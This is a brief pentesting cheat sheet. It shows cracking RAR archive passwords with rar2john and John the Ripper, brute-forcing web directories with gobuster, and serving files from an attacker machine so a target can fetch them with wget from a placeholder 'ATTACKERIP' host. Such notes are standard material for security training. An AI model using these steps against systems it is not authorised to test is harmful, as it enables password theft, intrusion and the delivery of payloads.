RED BOOK

Short examples for pentesting/hacking

RAR2JOHN

Brute force RAR file.

```
rar2john [rar file] > [output file]
```

First, extract the hash (password hash) from a RAR file:

```
/opt/john/rar2john rarfile.rar > rar_hash.txt
```

Brute force file with rar hash:

```
john --wordlist=/usr/share/wordlists/rockyou.txt rar_hash.txt
```

Unpack password protected rar file and enter password found.

```
unrar rarfile.rar
```

GOBUSTER CRAWLER BRUTE FORCE SEARCH WEBPAGES

Using wordlist, search for directories on webserver to detect what pages webserver have.

```
gobuster -u http://WEBPAGE -w WORDLIST.txt dir
```

-u is used to state the website we're scanning
-w takes a list of words to iterate through to find hidden pages
-dir search for directories

TRANSFER FILES USING HTTP

Start http server with Python (Win) and download files on target with wget request.

On attacker (win):

```
python3 -m http.server 1234 c:/testdir
```

-1234 is port where http server will listen, and in last part is directory for http server (not required). For Linux, you could use **python -m SimpleHTTPServer PORT**

On target in CMD (win/linux/any):

```
wget http://ATTACKERIP:1234/SOMEFILEINROOTDIR
```